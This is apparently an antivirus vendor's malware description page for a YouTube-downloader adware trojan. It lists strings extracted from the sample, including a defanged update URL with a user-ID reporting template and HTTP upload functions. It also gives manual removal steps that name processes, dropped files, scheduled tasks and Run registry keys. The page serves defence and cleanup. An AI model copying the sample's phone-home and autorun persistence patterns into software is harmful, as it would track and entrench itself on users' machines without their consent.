[RtmpDownloader::ReadFromPipe] --- Download Begins ---
[RtmpDownloader::RunCommandLine] ___Error CreateProcess: %s. LE: %d
Error : failed to run FFmpeg - %d
[RtmpDownloader::RunCommandLine] ___Error CreateProcessStdoutPipe
Failed to run update (%x).
Trying to execute an update.
CUpdater::parseUpdateXML Set report level to %ws
REPORT
CMDLINE
%sid=%d_r=%lld_err=%d
%suserid=%s&aff=%s&v=%s
hXXp://VVV.ytdownloader.com/app/update.ashx?
mscoree.dll
KERNEL32.DLL
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
ADVAPI32.DLL
WUSER32.DLL
<>"#%{}|\^~[]`' ?&
%Program Files%\YTDownloader\YTDownloader.exe
1.0.3.9

sma.exe_3000:




.text
`.rdata
@.data
.rsrc
@.reloc
[email protected]
j.Yf;
_tcPVj@
.PjRW
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
operator
GetProcessWindowStation
%%x
InternetOpenUrlA
HttpQueryInfoW
HttpSendRequestExW
HttpOpenRequestW
InternetCrackUrlW
WININET.dll
KERNEL32.dll
USER32.dll
ShellExecuteW
SHELL32.dll
GetNamedPipeInfo
GetCPInfo
GetProcessHeap
zcÁ
.?AVHttpInvoker@Agent@SpeedBit@@
.?AVImplementation@HttpInvoker@Agent@SpeedBit@@
.?AVCCDHTTPEngine@@
.?AVCCDHTTPGenericRequest@@
.?AVCCDHTTPUploader@@
.?AVJOB_HTTP@@
.?AVHTTPJOB@@
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
4R5F5u5
8"8(8,82868>8
2 2$2(2,2
7 7$7(7,7
kernel32.dll
mscoree.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
portuguese-brazilian
USER32.DLL
/Url:
Utils::SynchronousPipe::IsPipe
Utils::SynchronousPipe::Read
Agent::HttpInvoker::Create
Agent::HttpInvoker::UploadData
Agent::HttpInvoker::DownloadData
Utils::SynchronousPipe::Write
A[Agent::HttpInvoker::UploadData]
[Agent::HttpInvoker::DownloadData]
CCDJobMgr::AddHTTPGenericJob
@logs\${ModuleName}.${Pid}.log
@KERNEL32.DLL
Content-Type: application/x-www-form-urlencoded
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)
@[SynchronousPipe::Write]
[SynchronousPipe::Read]
%Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe
2, 3, 12, 1634
sma.exe






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Scan a system with an anti-rootkit tool.
    2. 

  2. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    smu.exe:2640
    smu.exe:2840
    smu.exe:2368
    BROWSE~2.EXE:3196
    net1.exe:3444
    net1.exe:3124
    BrowserHelper.exe:844
    sc.exe:2784
    sc.exe:3132
    sc.exe:556
    sc.exe:2984
    ns5.tmp:2512
    wscript.exe:2192
    %original file name%.exe:260
    %original file name%.exe:652
    net.exe:3072
    net.exe:3420
    ins_ytd.exe:2488
    sma.exe:3856
    sma.exe:3840
    sma.exe:3036
    sma.exe:3852
    sma.exe:3000
    setup.exe:2752
    tcpsvcs.exe:2404
    tcpsvcs.exe:2144
    find.exe:432
    

    3. 

  3. Delete the original Trojan file.
    4. 

  4. Delete or disinfect the following files created/modified by the Trojan:
    

    %WinDir%\Tasks\SMW_UpdateTask_Time_3835323735333432352d3437415a556c2a3223346c41.job (968 bytes)
    %Documents and Settings%\All Users\Application Data\SearchModulePlus\smhe.js (407 bytes)
    %WinDir%\Temp\vup.tmp (94 bytes)
    %WinDir%\Tasks\Inst_Rep.job (874 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\Install_26402\bxsdk32.dll (2386 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\Install_26402\ins_ytd.exe (87780 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_26912\%original file name%.exe (7726 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_14767\%original file name%.exe (7726 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\setup.exe (2555480 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsv7.tmp (242191 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\setup1.exe (229796 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\NK.lky (16 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl8.tmp\D1958.dll (14 bytes)
    %Program Files%\YTDownloader\libeay32.dll (25608 bytes)
    %WinDir%\Tasks\YTDownloader.job (942 bytes)
    %Program Files%\YTDownloader\rtmpdump.exe (14285 bytes)
    %Program Files%\YTDownloader\YTDownloader.exe (44363 bytes)
    %Program Files%\YTDownloader\DownloadAPI.dll (48488 bytes)
    %Program Files%\YTDownloader\Unelevate.exe (2751 bytes)
    %Program Files%\YTDownloader\BrowserHelper.exe (11020 bytes)
    %Program Files%\YTDownloader\YTD-icon-128x128.png (8 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp (4 bytes)
    %Program Files%\YTDownloader\BrowserHelperSrv.exe (4227 bytes)
    %Program Files%\YTDownloader\Updater.exe (17563 bytes)
    %Program Files%\YTDownloader\download_ani.gif (9 bytes)
    %Program Files%\YTDownloader\DownloadHelper.exe (10774 bytes)
    %Program Files%\YTDownloader\AniGIF.ocx (5635 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\nsProcess.dll (4 bytes)
    %Documents and Settings%\%current user%\Desktop\YTDownloader.lnk (1 bytes)
    %Program Files%\YTDownloader\ssleay32.dll (4079 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\ns12.tmp (6 bytes)
    %Program Files%\YTDownloader\convert_aniBW.gif (7 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\YTDownloader\YTDownloader.lnk (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\System.dll (11 bytes)
    %Program Files%\YTDownloader\sbmntr.sys (28 bytes)
    %Program Files%\Common Files\System\SysMenu.dll (15204 bytes)
    %Program Files%\YTDownloader\YTDUninstall.exe (19285 bytes)
    %Program Files%\YTDownloader\Download_completed.ico (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\AccDownload.dll (9226 bytes)
    %Program Files%\YTDownloader\convert_ani.gif (765 bytes)
    %Program Files%\YTDownloader\converter.exe (61480 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsqA.tmp\nsExec.dll (6 bytes)
    %WinDir%\Tasks\YTDownloaderUpd.job (912 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe (10136 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe (8560 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll (3312 bytes)
    %WinDir%\Tasks\SMWPUpd.job (2148 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\smci32.dll (45051 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\ns5.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsi2.tmp (244481 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\Updater.exe (25776 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsProcess.dll (4 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\rlz_id.dll (3616 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\smi32.exe (12088 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe (56684 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\nsExec.dll (6 bytes)
    %Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsy3.tmp\AccD.dll (7192 bytes)
    

    5. 

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):
    

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "YTDownloader" = "%Program Files%\YTDownloader\YTDownloader.exe /boot"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "YTDownloader" = "%Program Files%\YTDownloader\YTDownloader.exe /boot"
    

    6. 

  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    7. 

  7. Reboot the computer.
    8. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
No votes yet












				


							


			

				
					  
							

		

		


					
							

	

	
	        


	

        
      
 

      
      

      
    
 

    
  
 

		


		

		
			

			

				

					Lavasoft is the maker of Ad-Aware,
					the world's most popular anti-malware 
					software with over 450 million 
					downloads.
				

				

					© 2026 Lavasoft. All rights reserved.

					Terms Of Use |   Privacy Policy
					


								

			


		

		


	

	
	

	

		x
		
Our best antivirus yet!

		
Fresh new look. Faster scanning. Better protection.

		

			
Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

			
For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

			
			Download adaware antivirus 12
		

		No thanks, continue to lavasoft.com
	

	

		

			close x
			
Discover the new adaware antivirus 12

			
Our best antivirus yet

			Download Now